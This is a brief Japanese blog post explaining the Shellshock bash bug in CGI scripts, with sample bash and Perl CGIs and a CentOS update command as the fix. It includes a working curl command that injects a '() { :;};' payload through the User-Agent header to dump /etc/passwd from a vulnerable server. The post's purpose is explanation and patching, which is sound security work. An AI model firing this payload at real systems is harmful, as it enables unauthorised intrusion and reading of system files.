Webサーバでbashを使ってCGIを作成、もしくはWebサーバの起動ユーザのshellがbashの状態で、system関数を使うなどしていた場合、サニタイズしていてもすり抜けるバグがあるみたい。
例えばこんなCGI
1 2 3 4 5 |
#!/bin/bash echo 'Content-type: text/plain' echo echo 'Hello world.' |
こんなCGIでもダメらしい。ubuntuでは再現しませんでした(*´艸`*)
1 2 3 4 |
#!/usr/bin/perl print "Content-type: text/plain\r\n\r\n"; system("echo 'Hello world'"); |
※perlのsystem関数に環境変数が引き継がれないので問題無いかも d(^-^)
※pythonの os.systemは、環境変数が引き継がれるので危ないみたいです。
そして、以下のようなおまじないを実行すると・・・
1 |
curl -F "NAME=VALUE" -F "NAME=VALUE" -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://URL/hoge.cgi |
※イタズラ厳禁ですからねっ!
修正方法
・CentOS
1 |
sudo yum update bash -y |
ubuntu や solarisはまだパッケージでの更新はされていない様子です。